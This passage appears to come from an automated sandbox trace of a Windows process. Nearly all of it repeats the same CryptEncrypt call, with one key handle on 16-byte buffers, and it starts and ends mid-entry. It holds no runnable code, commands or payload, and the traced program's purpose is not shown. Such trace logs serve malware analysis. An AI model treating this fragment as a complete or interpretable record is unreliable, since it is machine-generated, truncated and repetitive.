dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.866] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.868] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, 